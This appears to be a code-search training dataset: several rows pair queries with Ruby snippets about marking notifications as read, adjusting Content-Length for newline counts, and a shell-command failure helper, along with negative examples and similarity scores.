[ "0.69168645", "0.69153965", "0.6834023", "0.6832453", "0.6568081", "0.6499712", "0.6489237", "0.6483504", "0.6473609", "0.64632523", "0.6460507", "0.6399721", "0.63776857", "0.6352853", "0.63277155", "0.6327049", "0.6301558", "0.61803705", "0.6153249", "0.6087581", "0.60432005", "0.60067624", "0.5991376", "0.5979901", "0.5976995", "0.5975061", "0.5949814", "0.5912419", "0.59083074", "0.5902891", "0.5902624", "0.5882874", "0.5882684", "0.58283067", "0.58179593", "0.5808759", "0.57849556", "0.5777943", "0.57637477", "0.57491577", "0.5746077", "0.5743626", "0.5701266", "0.56835467", "0.56735694", "0.5633793", "0.56328416", "0.56316805", "0.56286705", "0.5621986", "0.5610893", "0.5610893", "0.5603361", "0.55948305", "0.55854267", "0.5572967", "0.5572943", "0.55563724", "0.55551684", "0.55507946", "0.55410475", "0.5534042", "0.5521365", "0.5514938", "0.550975", "0.5509006", "0.55056703", "0.5496203", "0.5494199", "0.54915524", "0.5473306", "0.54729825", "0.5453657", "0.54531115", "0.5447302", "0.5445405", "0.5445308", "0.54397446", "0.5418634", "0.54049784", "0.53824776", "0.53746545", "0.5370075", "0.5370075", "0.5360708", "0.53561074", "0.5352747", "0.53359824", "0.5328343", "0.5319403", "0.5311113", "0.5304984", "0.5301443", "0.5292564", "0.52872884", "0.5281528", "0.5280845", "0.5273839", "0.52738357", "0.5270877" ]
0.6085994
20
== Description Marks ==Resource URL /notifications/mark_as_read.format ==Example GET === Parameters [access_token]
def mark_as_read if Notification.mark_as_read return_message(200, :ok) else return_message(200, :fail) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mark_as_read\n DeterLab.mark_notifications(current_user_id, [ params[:id] ], [ { isSet: true, tag: Notification::READ } ])\n render text: 'ok'\n end", "def mark_notifications_read\n return if params[:notification_id].blank? or !user_signed_in?\n n = Notification.find(params[:notification_id])\n current_subject.mark_as_read n\n end", "def mark_notification_as_read(notification_id)\n request(:post, \"/api/notifications/mark_as_read/#{notification_id}/\")\n end", "def mark_as_read\n @notifications = Notification.where(recipient: current_user).unread\n @notifications.update_all(read_at: Time.zone.now)\n render json: {success: true}\n end", "def mark_notifications_as_read(options = {})\n boolean_from_response :put, 'notifications', options\n end", "def mark_as_read_notification(notification_id)\n post(\"notifications/#{notification_id}/markAsRead\")\n end", "def mark_notification_as_read!\n notification = User.find(@userid).notifications\n @received_msg.each do |notify|\n notification.update(notify['id'], :checked => true);\n end\n end", "def mark_read!\n update_is_read_status true\n end", "def mark_as_read=(value)\n @mark_as_read = value\n end", "def mark_notifications_as_read!(user)\n self.notifications.where(read: false, user_id: user.id).update_all(read: true)\n end", "def set_read_status\n\t\t\tNotificationReceiver.where(notification_id: params[:id], user_id: current_user.id).update_all(is_read: true)\n\n\t\t\trender json: {\n\t\t\t\tstatus: 0\n\t\t\t}\n\t\tend", "def mark_as_unread\n Notifyer::Notification.all.each do |n|\n n.update(is_read: false)\n end\n redirect_to :back\n end", "def mark_unread!\n update_is_read_status false\n end", "def mark_all_as_read\n @notifications = Notification.unread.for_user(current_api_v1_user)\n @notifications.update_all(read_at: Time.now) unless @notifications.blank?\n @notifications = Notification.where(recipient_id: current_api_v1_user.id)\n \n render json: @notifications\n end", "def mark_as_read\n return @mark_as_read\n end", "def mark_as_read\n\t\tunread_messages = current_user.received_messages.where(read: false).order('id desc').limit(10)\n\t\tunread_messages.each do |m|\n\t\t\tm.update_attribute(:read, true)\n\t\t\tm.save\n\t\tend\n\t\tredirect_to request.referer\n\tend", "def mark_as_read\n @client.post('/api/mod/conversations/read', conversationIds: [get_attribute(:id)])\n end", "def show\n @message.mark_as_read(current_user)\n end", "def unread\n @notifications = Notification.where(user_id: current_user.uid).where(is_read: false).page(params[:page]).order(created_at: :desc)\n end", "def mark_repo_notifications_as_read(repo, options = {})\n boolean_from_response :put, \"#{Repository.path repo}/notifications\", options\n end", "def mark_as_unread\n update_attributes(:is_read => false)\n end", "def mark_as_unread\n update_attributes(:is_read => false)\n end", "def mark_as_unread\n update_attributes(is_read: false)\n end", "def mark_as_read!\n self.read_at = Time.now\n save!\n end", "def mark_as_read\n payload = { \"chat\" => [id] }.to_json\n path = \"/#{api_prefix}/user/#{client.user.id}/rooms/#{room_id}/unreadItems\"\n\n client.post path, payload\n\n true\n end", "def mark_as_unread()\n update_attribute('read', false)\n end", "def mark_as_unread\n post(\"/api/unread_message\", id: fullname)\n end", "def mark_as_read\n self.update(read: true)\n end", "def mark_as_read\n update_attributes(:is_read => true)\n end", "def mark_as_read\n update_attributes(:is_read => true)\n end", "def mark_as_read\n update_attributes(is_read: true)\n end", "def mark_as_read(safebox_guid)\n handle_error { sendsecure_connection.patch(\"api/v2/safeboxes/#{safebox_guid}/mark_as_read.json\") }\n end", "def mark_all_news_as_read\n where(:user_id => User.current_user_id).update_all(:read => 1)\n end", "def mark_read!\n self.read_at = Time.now\n self.save!\n end", "def show\n @notifications = Notification.where(user: current_user).where(notification_obeject_id: params[:id]).where(read: false)\n @notifications.each do |note|\n note.read = true\n note.save\n end\n end", "def mark_read id\n logged_in?\n post('/api/read_message', body: {id: id, uh: @modhash, api_type: 'json'})\n end", "def mark_as_read_watching(watching_id)\n post(\"watchings/#{watching_id}/markAsRead\")\n end", "def mark_as_read(options = {})\n default_options = {}\n add_mailbox_condition!(default_options, @type)\n return update_mail(\"mail_items.read = true\", default_options, options)\n end", "def unread\n @notifications = current_user.notifications.unread.page(params[:page]).per(5)\n end", "def show\n @message = current_user.messages.find(params[:id])\n @message.mark_as_unread\n end", "def mark_as_unread(safebox_guid)\n handle_error { sendsecure_connection.patch(\"api/v2/safeboxes/#{safebox_guid}/mark_as_unread.json\") }\n end", "def mark_as_read()\n update_attribute('read', true)\n end", "def mark_thread_as_read(thread_id, options = {})\n boolean_from_response :patch, \"notifications/threads/#{thread_id}\", options\n end", "def mark_as_read(item)\n receipts_for_item(item).update_all(read: true)\n end", "def mark_all_read\r\n @channel.mark_messages_read_for current_user\r\n respond_to do |format|\r\n format.html { redirect_to channel_messages_url(@channel), notice: 'Nachrichten als gelesen markiert.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def reset_unread_notification_count\n post('notifications/markAsRead')\n end", "def unread?\n self.status == 'unread'\n end", "def mark_as_read(participant)\n return if participant.nil?\n return self.receipts_for(participant).mark_as_read\n end", "def read user_id\n messages.unread(user_id).each do |m|\n m.read = true\n m.save\n end\n end", "def mark_as_read(participant)\n return if participant.nil?\n receipt_for(participant).mark_as_read\n end", "def unread\n read_attribute(:unread)\n end", "def mark_as_unread(safebox)\n raise SendSecureException.new(\"SafeBox GUID cannot be null\") if safebox.guid == nil\n @json_client.mark_as_unread(safebox.guid)\n end", "def mark_as_unread(options={})\n update_receipts({:is_read => false}, options)\n end", "def mark_as_unread(options={})\n update_receipts({:is_read => false}, options)\n end", "def mark_as_read!\n update_attributes(read: true)\n end", "def read_notifications\n # Update post notification\n post_notification = @message.sender\n .notifications_unread\n .where(\"origin_type = ? AND origin_id = ?\", 'Post', @post.id)\n .first\n post_notification.update_attributes(read: true) unless post_notification.nil?\n\n # Update post's messages notifications\n @post.messages.each do |message|\n message_notification = @message.sender\n .notifications_unread\n .where(\"origin_type = ? AND origin_id = ?\", 'Message', message.id)\n .first\n message_notification.update_attributes(read: true) unless message_notification.nil?\n end\n end", "def mark_as_unread\n @client.post('/api/mod/conversations/unread', conversationIds: [get_attribute(:id)])\n end", "def unread!\n self.update_attribute(:status, UNREAD)\n end", "def marktoread\n reading = Reading.find(params[:id])\n @work = Work.find(params[:work_id])\n if reading == nil # failsafe\n flash[:error] = t('marktoreadfailed', :default => \"Marking a work to read later failed\")\n else\n reading.major_version_read, reading.minor_version_read = @work.major_version, @work.minor_version\n if reading.toread?\n reading.toread = false\n flash[:notice] = t('savedtoread', :default => \"The work was marked as read.\")\n else\n reading.toread = true\n flash[:notice] = t('savedtoread', :default => \"The work was marked to read later. You can find it in your history.\")\n end\n reading.save\n end\n true\n redirect_to(request.env[\"HTTP_REFERER\"] || root_path)\n end", "def index\n @notifications = current_user.notifications.unread.page(params[:page]).per(20)\n end", "def mark_as_unread(options = {})\n update_receipts({ is_read: false }, options)\n end", "def mark_as_read_by_updater\n mark_as_read! for: updater\n end", "def mark_as_read(time=Time.now)\n unless read?\n self.recipient_read_at = time\n save!\n end\n end", "def show\n @notify = Notify.find(params[:id])\n\n @notify.is_read = true ;\n @notify.save\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @notify }\n end\n end", "def mark_as_read(participant)\n return unless participant\n receipts_for(participant).mark_as_read\n end", "def mark_as_read(participant)\n return unless participant\n self.receipts.recipient(participant).mark_as_read\n end", "def unread?\n !read?\nend", "def update\n #read or unread\n end", "def is_unread?\n !is_read\n end", "def is_unread?\n !is_read\n end", "def is_unread?\n !is_read\n end", "def unread_notifications\n notifications_received.where('activities.created_at > ?', notifications_checked_at)\n end", "def mark_as_read(obj, details = nil)\n case obj\n when Alerter::Receipt\n obj.mark_as_read if obj.receiver == self\n when Alerter::Message\n obj.mark_as_read(self)\n when Array\n obj.map{ |sub_obj| mark_as_read(sub_obj) }\n end\n\n end", "def mark_unread id\n logged_in?\n post('/api/unread_message', body: {id: id, uh: @modhash, api_type: 'json'})\n end", "def mark_as_read(obj, details = nil)\n case obj\n when Alerter::Receipt\n obj.mark_as_read if obj.receiver == self\n when Alerter::Message\n obj.mark_as_read(self, details)\n when Array\n obj.map{ |sub_obj| mark_as_read(sub_obj, details) }\n end\n\n end", "def unread?\n !read?\n end", "def set_read\n @read = Read.find(params[:id])\n end", "def read_status(scan_id, read)\n response = @client.put \"scans/#{scan_id}/status\", read: read\n verify response,\n not_found: 'A scan with that ID could not be located.'\n end", "def show\n @notification.update_column(:read_at, Time.now) unless @notification.read_at\n redirect_to url_to_notification(@notification)\n end", "def mark_as_read(safebox)\n raise SendSecureException.new(\"SafeBox GUID cannot be null\") if safebox.guid == nil\n @json_client.mark_as_read(safebox.guid)\n end", "def is_read=(value)\n @is_read = value\n end", "def show\n @conversation.mark_messages_as_read\n end", "def mark_all_as_read(opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n {}\n \n )\n\n # resource path\n path = path_replace(\"/v1/conversations/mark_all_as_read\",\n )\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:post, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:post, path, query_params, form_params, headers)\n page_params_store(:post, path)\n response\n \n end", "def mark_as_read_by_creator\n mark_as_read! for: creator\n end", "def mail_unread\n initialize_mocks if @fake\n\n service = Google::Apis::Core::BaseService.new('https://mail.google.com/', 'mail/feed/atom/')\n service.authorization = user_authorization\n service.http(:get, 'https://mail.google.com/mail/feed/atom/')\n end", "def read_access_check\n resource_check('read')\n end", "def read_access_check\n resource_check('read')\n end", "def read_access_check\n resource_check('read')\n end", "def mark_as_read(obj)\n case obj\n when Mailboxer::Receipt\n obj.mark_as_read if obj.receiver == self\n when Mailboxer::Message, Mailboxer::Notification\n obj.mark_as_read(self)\n when Mailboxer::Conversation\n obj.mark_as_read(self)\n when Array\n obj.map{ |sub_obj| mark_as_read(sub_obj) }\n end\n end", "def show\n @attachments = Attachment.where(notification_id: @_params[:id])\n\n @notification.mark_as_read!(true) if params[:cambiar_estado] == 'Leida'\n @notification.mark_as_read!(false) if params[:cambiar_estado] == 'NoLeida'\n end", "def unread?\n read_at.nil?\n end", "def unread?\n (status == UNREAD)\n end", "def unread_items(params = {})\n @unread_items ||= filtered_items_list('reading-list', params.merge(:exclude => 'user/-/state/com.google/read'))\n end", "def url_for_read_online\n \"http://red.com/email/read/#{self.mail_task.id}?sid=#{self.sid}\"\n end", "def unread\n all(UNREAD)\n end", "def show\n @message = find_recipient_message\n redirect_to messages_inbox_index_path and return unless @message\n @message.mark_as_read\n end", "def update_read_status\n # update read status for the message\n the_mesg = Message.find_by(receiver_id: @current_user.id, user_id: params[:user_id], request_id: params[:request_id], read_status: 0)\n if the_mesg\n the_mesg.read_status = 1\n if the_mesg.save\n render json: {\n status: 'success',\n message: 'Read status updated',\n data: the_mesg\n } \n else\n render json: {\n status: 'error',\n message: 'Unable to update read receipts'\n },\n status: :unprocessable_entity\n end\n end\n end", "def read\n @activities = PublicActivity::Activity.where(recipient_id: current_user.id, read: false).order(created_at: :desc)\n @activities.each do |act|\n act.read = true;\n act.save\n end\n end", "def index\n\t\t@notifications = Notification.where(recipient_id: current_user.id).unread\n\tend", "def mark_as_read_watchings(user_id)\n post(\"users/#{user_id}/watchings/markAsChecked\")\n end" ]
[ "0.8051977", "0.76122284", "0.7424262", "0.7302608", "0.72733927", "0.7167887", "0.6897111", "0.6792239", "0.6751037", "0.6677822", "0.6609783", "0.6590586", "0.65806997", "0.6579009", "0.65284127", "0.65170896", "0.6486224", "0.64611566", "0.64569694", "0.64274645", "0.64183193", "0.64183193", "0.64114", "0.6391881", "0.6378125", "0.6360484", "0.6353988", "0.6336107", "0.6324307", "0.6324307", "0.62606764", "0.62584734", "0.6250081", "0.62430227", "0.62373245", "0.6202761", "0.6193666", "0.6191569", "0.6070047", "0.6057748", "0.59737", "0.59399515", "0.5904303", "0.5895954", "0.5882252", "0.5879709", "0.5863927", "0.5849464", "0.5842522", "0.5841467", "0.583802", "0.58259225", "0.5820091", "0.5820091", "0.5813485", "0.5800172", "0.5764516", "0.57546496", "0.5746807", "0.5739052", "0.57237315", "0.57234555", "0.5712315", "0.5710571", "0.56781936", "0.5676291", "0.5650362", "0.5648219", "0.56458867", "0.56458867", "0.56458867", "0.5638319", "0.5630526", "0.5618714", "0.5612147", "0.5610942", "0.5600905", "0.55984086", "0.55944383", "0.55942863", "0.5586103", "0.5585803", "0.5584097", "0.558114", "0.5570534", "0.5559343", "0.5559343", "0.5559343", "0.5549568", "0.55168545", "0.5507165", "0.55024254", "0.5497274", "0.5494437", "0.5483233", "0.54803854", "0.5461021", "0.545642", "0.5454954", "0.5447266" ]
0.75957525
2
Riddle me this for some reason newlines aren't being counted correctly. TODO: find out WTF and fix it better than this
def fix_length response size = 0 response.body.each {|str| size += str.scan(/\n/).size} size += response.headers['Content-Length'].to_i response.headers['Content-Length'] = size.to_s return response end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def count_paragraphs(some_file)\n file_content = open(some_file).read()\n count = 0\n file_content_split = file_content.split('')\n\n file_content_split.each_index do |index|\n count += 1 if file_content_split[index] == \"\\n\" && file_content_split[index + 1] == \"\\n\"\n end\n return count\nend", "def count_trailing_newlines(text)\n if text.end_with? \"\\n\"\n count = 0\n\n text.reverse.chars do |c|\n if c == \"\\n\"\n count += 1\n else\n break\n end\n end\n\n count\n else\n 0\n end\n end", "def getNumLines()\n contents.split(\"\\n\").length - 1\n end", "def paragraph_count(all_lines_from_file)\n all_lines_from_file.split(/\\n\\n/).length\nend", "def line_count\n\t\t\treturn @contents.nil? ? 0 : @contents.count\n\t\tend", "def count_characters(all_lines_from_file)\n all_lines_from_file.gsub(/\\n+/,\"\").length\nend", "def count_lines\n linecount = 0\n\n @output_buffer.each do |line|\n linecount += line.scan(/\\n/).count\n end\n\n linecount - 1\n end", "def line_count\n\t\tlines.size\n\tend", "def line_count\n\t\tlines.size\n\tend", "def update_counter(text)\n number_of_newlines = text.count(\"\\n\")\n\n if number_of_newlines > 0\n @line += text.count(\"\\n\")\n @column = text.length - text.rindex(\"\\n\")\n else\n @column += text.length\n end\n end", "def count_characters_no_spaces(all_lines_from_file)\n all_lines_from_file.gsub(/\\s+/, \"\").length\nend", "def calculate_num_of_lines body\n lines = body.split(\"\\n\")\n lines.each_with_index do |line, index|\n if line.length * 20 > 500\n lines[index] = line.wrap_lines\n end\n end\n reformated_body = lines.join \"\\n\"\n num_lines = reformated_body.split(\"\\n\").size\n return num_lines, reformated_body\n end", "def num_lines() @line_indices.length + 1 end", "def lines_count(str)\n i = 0\n str.each_line { i += 1 }\n i\n end", "def line_count(file)\n\t\tf = File.new(file)\n\t\tnum_newlines = 0\n\t\twhile (c = f.getc) != nil\n\t\t\tnum_newlines += 1 if c == $/\n\t\tend\n\t\tnum_newlines\n\tend", "def number_of_rows(matrix)\n counter = 1\n matrix.each_char { |symb|\n counter += 1 if symb == \"\\n\"\n }\n counter\nend", "def empty_lines(arr)\n output = 0\n begin\n i = 0\n while i < arr.length\n if arr[i] == \"\\n\"\n output += 1\n else\n j = 0\n temp_holder = arr[i]\n while j < temp_holder.length\n case temp_holder[j]\n when \" \"\n if j + 1 != \" \" || j + 1 != \"\\n\"\n break\n end\n when \"\\n\"\n if j + 1 == temp_holder.length\n output += 1\n break\n else\n break\n end\n else\n break\n end\n j += 1\n end\n end\n i += 1\n end\n rescue NameError\n p \"No variable with this name\"\n rescue TypeError\n p \"String was not converted into integer\"\n rescue IndexError\n p \"Index was not inside the paramaters\"\n ensure\n return output\n end\nend", "def description_lines\n string = @challenge.description\n lines = 0\n string.each_line('|') { |i|\n lines += 1\n }\n return lines+1\n end", "def lines_count\n @lines_count ||= lines.count\nend", "def line_num; end", "def count_rows(s)\n return nil if s.nil?\n\n col = 1\n row = 1\n\n s.each_char do |c|\n if c == \"\\n\" or col > TA_COLS then\n col = 1\n row += 1\n next\n end\n\n col += 1\n end\n\n row\n end", "def run_line_length_cop; end", "def count\n Jhead.call(\"-c\", @match, @pattern).split(\"\\n\").size\n end", "def line_length(line)\n line.chomp.gsub(/\\e\\[[\\d;]*m/, '').length\n end", "def line_length(line)\n line.chomp.gsub(/\\e\\[[\\d;]*m/, '').length\n end", "def count_escrowed_raw\n return @count_escrowed_raw\n end", "def newline; end", "def line\n @string[0..@index].split(\"\\n\").count\n end", "def count_summary(text)\n all = 0\n counts = Hash.new\n text.each_char do |ch|\n next if ch == ' '\n\n if !counts[ch] then\n counts[ch] = 1\n else\n counts[ch] += 1\n end\n\n all += 1\n end\n\n ARR.each do |ch|\n if ! counts[ch] then\n counts[ch] = 0\n end\n end\n counts\nend", "def data_line_count\n 1\n end", "def nl\n @line+=1\r\n\t @[email protected]\r\n\t\t if @buffer\r\n\t\t\t@[email protected]\r\n\t\t\[email protected]!\r\n\t\t\t@col=@[email protected]+1\r\n\t\tend\r\n\t\t \r\n end", "def n_lines(filename); end", "def test_text_invariant(t)\n\tt1 = t.text.gsub(\"\\n\", \"\\\\n\")\n\trep = \"line indices: [#{t.line_indices.join(', ')}], text = #{t1}\"\n\n\tassert(t.text.gsub(/[^\\n]/, '').length == t.line_indices.length, \"Incorrect number of newlines: #{rep}\")\n\tassert(t.line_indices == t.line_indices.sort)\n\tt.line_indices.each do |i| \n\t\tassert(t.text[i,1] == \"\\n\", \"line_indices false positive: #{rep}\")\n\tend\nend", "def line\n\t return -1 if @inputStack.empty? # only if initialize() arg is bogus\n\n\t input = @inputStack[0] # not @inputStack.last\n\t str = input.string[0 .. input.pos]\n\t return str.count(\"\\n\") + 1\n\tend", "def count_single_line_comments(buff, comment_regexp)\n a = buff.select { |l|\n not l.match(comment_regexp).nil?\n }.size\n a\n end", "def count_single_line_comments(buff, comment_regexp)\n a = buff.select { |l|\n not l.match(comment_regexp).nil?\n }.size\n a\n end", "def record_count\n pair = text_blocks.each_cons(2)\n .select { |cons| cons[1] == \"Record Count:\" }.first\n pair && pair[0].to_i\n end", "def sentence_count(all_lines_from_file)\n all_lines_from_file.split(/\\.|\\?|\\!/).length\nend", "def total_included_characters\n included_paragraphs_joined.split(/./).size\n end", "def lines_counter\n f = File.open('peliculas.txt', 'r')\n print f.readlines.length\n f.close\nend", "def parse_line_break; end", "def num_commits(lines)\n numCommits = 0\n lines.each{ |line| numCommits += 1 if line.start_with?(\"commit \") }\n return numCommits\nend", "def code_lines(arr)\n output = 0\n begin\n i = 0\n while i < arr.length\n j = 0\n temp_holder = arr[i]\n while j < temp_holder.length\n if temp_holder[j] == \"\\n\" || temp_holder[j] == \"#\"\n break\n elsif temp_holder[j] == \" \"\n z = j\n check = false\n while z < temp_holder.length\n if temp_holder[z] != \" \" || temp_holder[z] != \"\\n\"\n check = true\n break\n end\n z += 1\n end\n if check == true\n output += 1\n break\n elsif check == false\n break\n else\n return \"error\"\n end\n else\n output += 1\n break\n end\n j += 1\n end\n i += 1\n end\n rescue NameError\n p \"No variable with this name\"\n rescue TypeError\n p \"String was not converted into integer\"\n rescue IndexError\n p \"Index was not inside the paramaters\"\n ensure\n return output\n end\nend", "def determine_line_number(scanner)\n scanner.string[0, scanner.pos].count(\"\\n\")\n end", "def count_lines(file)\n n = 0\n while file.gets\n n += 1\n end\n n\n end", "def count_sentences(some_file)\n file_content = open(some_file).read()\n count = 0\n\n file_content.each_char do |c|\n count += 1 if c == \",\" || c == \"?\" || c == \"!\"\n end\n return count\nend", "def test_for_various_length_inputs_for_new_lines\n assert_equal 30, @calculator.Add(\"10\\n10\\n10\")\n assert_equal 30, @calculator.Add(\"10\\n5\\n5\\n10\")\n assert_equal 30, @calculator.Add(\"15\\n15\")\n end", "def on_newline(p); end", "def number_of_lines_in_first_chunk\n end_method_line = last_method_source_location.last\n\n end_method_line - line\n end", "def num_commits(lines)\n num = 0 \n lines.each { |line|\n words = line.split\n if words[0] == \"commit\" then num+= 1 end\n }\n num\nend", "def count_multiline_comments(buff, regexp)\n unless regexp.is_a?(Array) then regexp = [regexp] end\n\n regexp.reduce(0) do |acc, regexp|\n acc + buff.reduce(''){|acc,x| acc + x}.scan(regexp).map { |x|\n x.map{|y| y.lines.count}.reduce(0){|acc,y| acc + y}\n }.reduce(0){|acc, x| acc + x}\n end\n end", "def count_multiline_comments(buff, regexp)\n unless regexp.is_a?(Array) then regexp = [regexp] end\n\n regexp.reduce(0) do |acc, regexp|\n acc + buff.reduce(''){|acc,x| acc + x}.scan(regexp).map { |x|\n x.map{|y| y.lines.count}.reduce(0){|acc,y| acc + y}\n }.reduce(0){|acc, x| acc + x}\n end\n end", "def count_indent(line)\n line.match(/(\\s+)/)[1].length\nend", "def number_of_chars\n html_remove.without_garbage.split(\"\\n\").join.split.join.length\n end", "def word_count(all_lines_from_file)\n all_lines_from_file.split.length\nend", "def num_lines_in_view()\n\t\tlast_line_in_view() - first_line_in_view() + 1\n\tend", "def line_count\n entries.inject(0) do |count, entry|\n count + (entry.dir? ? 0 : entry.lines.size)\n end\n end", "def line_count_experiment\n @letters_two.dump\n lines = @letters_two.xlate(@line_count_map)\n lines << @extra_digits\n lines.flatten!\n lines.dump('append')\n lines.chunk(2).to_i.collect { |d| d.to_s(5) }.dump(:from_base_5).to_i.to_letter\nend", "def line_at(char)\n return nil unless char\n text[0..char].count(\"\\n\") + 1\n end", "def process_new_line\n @status.line += 1\n\n @skip_next = true if ((@cur_char == \"\\n\" && @next_char == \"\\r\") ||\n (@cur_char == \"\\r\" && @next_char == \"\\n\"))\n end", "def num_lines\n load_data unless @num_lines\n @num_lines\n end", "def get_file_lines_of_code!(f)\n count = 0;\n File.foreach(f) {count+=1}\n #print(\"#{count}\")\n count\n end", "def newline_check(file_name)\n # check if the file has no newline or multiple newlines\n lines = File.open(file_name, 'r').to_a\n # if the last character of the last line with code is a newline character AND there is additional text on that line, set hasSingleNewline to true; otherwise set it to false\n hasSingleNewline = lines.last[-1] == \"\\n\" && lines.last.length > 1\n # if there isn't already a single newline at the end of the file, call the process(text) method to add one in (or delete multiple ones and add a newline in)\n if !hasSingleNewline\n text = File.read(file_name)\n # re-write the file with the final file text returned by the process(text) method\n File.open(file_name, \"w\") { |file| file.puts process(text) }\n end\nend", "def countlines\n file = File.open('peliculas.txt', 'r')\n data = file.readlines\n file.close\n puts data.length\nend", "def line_count\n `wc -l public/HelloWorld.txt`.to_i\n end", "def count_quote_chars(line, quote_char)\n return 0 if line.nil? || quote_char.nil?\n\n count = 0\n previous_char = ''\n\n line.each_char do |char|\n count += 1 if char == quote_char && previous_char != '\\\\'\n previous_char = char\n end\n\n count\n end", "def get_total_readme_word_count(data)\n total_word_count = 0\n if data['readme_raw_text'].nil?\n total_word_count = 0\n else\n readme_text = Base64.decode64(data['readme_raw_text']['content'])\n readme_text = readme_text.gsub(/[\\r\\n]/, ' ')\n words = readme_text.split(' ')\n words.each do |word|\n if word =~ /^\\w+$/\n total_word_count += 1\n end\n end\n end\n\n total_word_count\nend", "def wc(filename)\n input = File.open(filename, 'r') {|f| f.read() }\n puts(\"%d lines\" % [input.each_line.count])\n puts(\"%d words\" % [input.split(' ').count])\n puts(\"%d chars\" % [input.split('').count])\nend", "def lines_of_code\n covered_lines.size + missed_lines.size\n end", "def nines\n count = 0\n string = open(\"tmp/insert_YourFileName_lines.txt\").read\n\twords = string.split(/\\n/)\n\twhile word = words.pop\n word = word.to_s\n\t if word.length == 9\n\t count += 1\n\t else\n\t count = count\n end\n end\n puts \"There are #{count} nine letter words\"\n end", "def hash_number(line)\n\n count = 0\n\n line.each_char do |char|\n break if char != \"#\"\n count += 1\n end\n # cases when text starts with #haha instead of # haha\n if count != 0\n if line[count] == ' '\n count\n else\n 0\n end\n else\n count\n end\nend", "def line_number\n lines_read.length\n end", "def contar_lineas\n line = read_alumnos\n contador = line.count\n contador\nend", "def num_commits(lines)\n i = 0\n\tlines.each{|line| \n\t\tif line.include? \"commit\"\n\t\t\ti += 1\n\t\tend\n\t}\n\treturn i\nend", "def nicer_strings(input)\n strings = input.split(\"\\n\").map(&:strip)\n nice_count = 0\n strings.each do |string|\n match = match?(string)\n triplets = triplets?(string)\n nice_count += 1 if match && triplets\n end\n nice_count\nend", "def count_lines(all_lines_from_file)\n all_lines_from_file.lines.count\nend", "def number_of_characters\n @text.length\n end", "def width(content)\n content.each_line.map do |line|\n ansi_length(line.chomp)\n end.max\nend", "def hard(input)\n input.map { |line| line.dump.length - line.length }.sum\nend", "def trailing_count\n repository.files.map do |path|\n file = repository.read(path)\n\n if file\n file.lines.map do |line|\n line.scan(/[ \\t]+$/).size\n end.sum\n else\n 0\n end\n end.sum\n end", "def num_chars\n @text.length\n end", "def score(text)\n text_array = text.split(\"\\n\")\n max_line_length = 0\n text_array.each { |l| max_line_length = l.length if l.length > max_line_length}\n score = 0\n text_array.each { |l|\n score += (max_line_length - l.length)**3\n }\n score\nend", "def number_of_chars\n text.to_s.number_of_chars\n end", "def count_sentences\n self.split(/\\.|\\?|\\!/).delete_if {|w| w.size < 2}.size\n binding.pry\n end", "def normal_data_start(text)\n text.index(\"\\1\\n\", 2) + 2\n end", "def part1()\n @seats = @input.map(&:dup)\n until rules_part1() == 0\n end\n count = 0\n @seats.each { |row| count += row.count('#') }\n count\nend", "def lines_of_code; end", "def lines_of_code; end", "def total_char_split_sum\n messageData = @data\n\n char_me = 0\n char_them = 0\n\n messageData.each do |name, messages|\n\n messages.each do |message|\n if message[2].to_i == 2\n char_me = char_me + message[1].size\n else\n char_them = char_them + message[1].size\n end\n end\n end\n puts \"My char count: #{char_me} | Their char count: #{char_them}\"\n\n end", "def line_count(file_list)\n file_list.empty? ?\n nil :\n %x{wc -l #{file_list.join(' ')} | awk 'END {print $1}'}.to_i\n end", "def newline\n @results += nl\n end", "def total_lines\n hunks.sum(:old_count) + hunks.sum(:new_count)\n end", "def assign_line_numbers\n line_num = 1;\n\n @line_num = [ ]\n @tokens.each do |token|\n @line_num << line_num\n line_num += token.count \"\\n\"\n end\n end", "def linecount(fname)\n File.open(fname, \"r\") do |f|\n f.readlines.length\n end\nend", "def put_new_lines(no_of_newlines)\n no_of_newlines.times do\n puts \"\"\n end\nend", "def level\n (@line[/^#+/] || '').size\n end", "def reduce_new_line(_production, _range, _tokens, _children)\n # TODO: control portability\n Regex::Character.new('\\n')\n end", "def line_level line\n line.match(/^[ \\t]*/)[0].gsub(\"\\t\", \" \").split('').length\n end", "def word_count_a_file(file_path)\n word_count = 0\n f = File.open(file_path, \"r\")\n f.each_line {|line|\n word_count += line.to_s.split.size\n }\n word_count\nend", "def indent_width(txt)\n txt.match(/\\A\\s*/).to_s.length\n end", "def lines\n\t\t\[email protected](Ruvim::API::CR)\n\t\tend" ]
[ "0.71168685", "0.71083516", "0.7004993", "0.6898843", "0.68573344", "0.6828885", "0.6800682", "0.6671742", "0.6671742", "0.6571755", "0.6557376", "0.6517456", "0.6482509", "0.64721555", "0.64659965", "0.64512116", "0.644085", "0.6413042", "0.6355668", "0.6347384", "0.6345361", "0.6282433", "0.6272171", "0.62669903", "0.624715", "0.62218696", "0.61735636", "0.6168539", "0.61311466", "0.6125544", "0.61214936", "0.611224", "0.6111682", "0.60731035", "0.6051157", "0.6051157", "0.60453963", "0.6032662", "0.6029737", "0.60171485", "0.60132015", "0.6012689", "0.6005743", "0.60028976", "0.6001792", "0.60014725", "0.5987939", "0.5980734", "0.59789556", "0.59782106", "0.59773237", "0.59773237", "0.5975697", "0.5974445", "0.5965263", "0.5960232", "0.59432554", "0.5935966", "0.59297895", "0.5928983", "0.59288317", "0.592415", "0.5918899", "0.5912903", "0.59106004", "0.5875919", "0.58743805", "0.58720267", "0.586593", "0.5865874", "0.5858788", "0.5855435", "0.5851269", "0.5824524", "0.5813851", "0.5811154", "0.58071417", "0.58043706", "0.58039016", "0.57922226", "0.57857376", "0.5781269", "0.57751924", "0.5753329", "0.57509786", "0.5748091", "0.57334054", "0.57334054", "0.572135", "0.57164174", "0.5715877", "0.5712823", "0.57108414", "0.571026", "0.5706253", "0.57003903", "0.5690248", "0.568314", "0.56777626", "0.5672335", "0.5663625" ]
0.0
-1
Helper so we fail as soon as a command fails.
def try(command) system command if $? != 0 then raise "Command: `#{command}` exited with code #{$?.exitstatus}" end end
